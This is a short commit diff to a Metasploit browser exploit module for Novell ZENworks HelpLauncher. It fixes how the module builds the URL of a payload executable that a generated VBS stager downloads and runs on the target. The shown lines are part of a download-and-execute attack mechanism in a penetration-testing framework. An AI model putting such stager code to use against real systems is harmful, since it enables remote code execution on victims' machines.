Fix zenworks_helplauncher_exec datastore

Author: wvu

modules/exploits/windows/browser/zenworks_helplauncher_exec.rb

@@ -130,7 +130,7 @@ def on_request_uri(cli, request)
 
     # Payload's URL
     payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
-    payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"
+    payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe"
 
     # Create the stager (download + execute payload)
     stager = build_vbs(payload_src)